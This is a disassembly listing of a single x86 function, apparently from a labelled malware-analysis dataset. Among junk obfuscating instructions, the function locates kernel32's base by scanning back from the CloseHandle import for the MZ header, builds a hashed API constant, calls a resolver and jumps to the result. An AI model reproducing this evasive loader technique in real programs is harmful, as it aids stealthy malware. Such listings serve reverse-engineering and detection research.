Function at 0x420314
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
mov edx, 0x5d0c
mov ecx, 0x3643
or ecx, edx
mov eax, 0xfddf
shl edx, 2
or dword [0x4293ee], 0x34dd
adc dword [0x429402], 0x2231
mov dword [ebp - 0xc], 0x943a
mov dword [ebp - 0x60], 0x31d2
sbb dword [ebp - 0xc], 0x8b7
mov dword [ebp - 0x28], 0x6eeb
mov dword [ebp - 0x14], 0x8ba0
mov dword [ebp - 0x24], 0x46b6
shr dword [ebp - 0x14], 1
mul ecx
shr ecx, 0xc
shl eax, 0x10
adc edx, eax
add edx, 0x433a
and ecx, 0xb4c7
or dword [0x429422], 0xe21a
xor dword [0x42941a], ecx
mov dword [ebp - 0x34], 0x5197
mov dword [ebp - 0x1c], 0x1a03
mov dword [ebp - 0x44], 0x9d2c
mov dword [ebp - 0x58], 0x3edb
sub dword [ebp - 0x58], 0x585b
mov dword [ebp - 0x68], 0x907d
and dword [ebp - 0x34], 0xc35
shr eax, 9
xor ecx, 0xcbba
add edx, 0xd840
adc ecx, eax
sub eax, edx
adc dword [0x429422], 0x2027
shl edx, 2
mul dword [0x429426]
sub dword [ebp - 0x34], 0x6b3b
mov dword [ebp - 0x74], 0xa0ea
mov dword [ebp - 0x64], 0x7307
adc dword [ebp - 0x1c], ecx
add ecx, 0xdec7
and edx, dword [ebp - 0x24]
xor edx, 0x9d30
add eax, 0x79fd
add ecx, 0x563f
sub ecx, 0xdbb7
sbb dword [0x429422], 0xe37c
sub dword [0x4293f6], edx
add dword [ebp - 0x80], 0xfc6
shr dword [ebp - 0x7c], 7
xor ecx, dword [0x4293ee]
mul ecx
xor eax, 0xa133
and edx, 0xc9fb
mul ecx
shl ecx, 7
shr dword [0x429416], 0x15
dec dword [0x42942a]
jne 0x42041b
sub eax, 0x45d0
shl ecx, 0x16
or dword [0x429406], 0x4b17
and dword [0x4293f2], 0x4808
xor dword [ebp - 0x24], 0x2b85
mov dword [ebp - 0x40], 0x391
mov dword [ebp - 0x8c], 0x8a1
mov dword [ebp - 0x30], 0x8646
mul dword [ebp - 0x8c]
add edx, 0x1c99
and eax, dword [ebp - 0x14]
sub edx, 0x851a
shl edx, 0x19
sub ecx, 0x195c
add ecx, 0xb823
adc dword [0x429412], 0xfde0
mul dword [0x4293ee]
mov dword [ebp - 0x38], 0x6486
mov dword [ebp - 0x20], 0x77fa
mov dword [ebp - 0x7c], 0xdf40
mov dword [ebp - 0x4c], 0x9702
mov dword [ebp - 0x6c], 0xd4b3
mov dword [ebp - 4], 0x99b7
mov dword [ebp - 0x78], 0x3b08
adc dword [ebp - 0x6c], 0x4d16
sub dword [ebp - 0x30], 0x4e12
adc ecx, 0xe53b
shl ecx, 0xc
and edx, 0xf56d
shl eax, 0xa
or eax, 0x14b2
and ecx, 0
add ecx, dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [0x4240df], ecx
and dword [0x4240df], 0xffff0000
push dword [0x4240df]
pop ecx
sub ax, ax
sub ax, 0x5a4d
neg ax
cmp ax, word [ecx]
je 0x42056c
push edx
mov edx, 0xffff0000
add ecx, edx
pop edx
push 0x420558
ret
mov dword [0x429436], 0
or dword [0x429436], ecx
shl eax, 9
xor eax, 0xf5cb
or dword [0x429426], 0xc2cf
sbb dword [0x429426], 0xb0f9
mov dword [ebp - 0x54], 0x8d6b
mov dword [ebp - 0x88], 0xd5eb
mov dword [ebp - 0x5c], 0x8930
shl dword [ebp - 4], 0xc
or dword [ebp - 0x5c], 0xbc3
sbb ecx, 0x93d4
sub eax, dword [ebp - 0x54]
adc eax, 0x1bbc
xor edx, 0xe932
shr ecx, 2
or ecx, 0x5495
add dword [0x4293ee], 0xac14
shr dword [0x42941a], 0x1a
sub dword [ebp - 0x38], 0xa5a7
sbb dword [ebp - 0x58], edx
or eax, dword [0x42941a]
mul edx
sub eax, 0xe4f7
and edx, 0xad68
add ecx, 0x848a
or dword [0x4293fa], 0xe750
and edx, 0x2584
or dword [0x42940a], edx
mov dword [ebp - 0x2c], 0x110a
and dword [ebp - 0x74], 0x569f
mov dword [ebp - 0x18], 0x6993
mov dword [ebp - 0x70], 0x37a9
shr dword [ebp - 0x88], 0x1a
or ecx, 0x2495
adc ecx, 0x2822
or eax, 0x2657
and eax, 0xb323
shl eax, 6
sbb dword [0x4293f6], 0xec92
add ecx, 0x2105
sub dword [0x4293ee], 0x413f
mov dword [ebp - 0x84], 0xcf78
mov dword [ebp - 0x80], 0xa4bc
mov dword [ebp - 0x48], 0xb32f
shl dword [ebp - 0x6c], 2
or dword [ebp - 0x4c], 0x1c36
add edx, dword [0x429406]
mov dword [0x42408f], esi
xor esi, esi
xor esi, 0x991f5136
ror esi, 0x18
push edi
mov edi, 0x885eb4fe
sub esi, edi
pop edi
push esi
push dword [0x42408f]
pop esi
push dword [0x429436]
xor eax, eax
xor eax, fcn.004011c5
call eax
mov dword [0x429432], 0
or dword [0x429432], eax
lea eax, [0x42953a]
push eax
mov dword [0x4240cf], 0
add dword [0x4240cf], edi
lea edi, [0]
xor edi, 0x40000
rol edi, 0xa
ror edi, 0x1c
push edi
push dword [0x4240cf]
pop edi
mov dword [0x424153], 0
xor dword [0x424153], edx
push 0x420735
push 0
pop edx
add edx, dword [0x429432]
jmp edx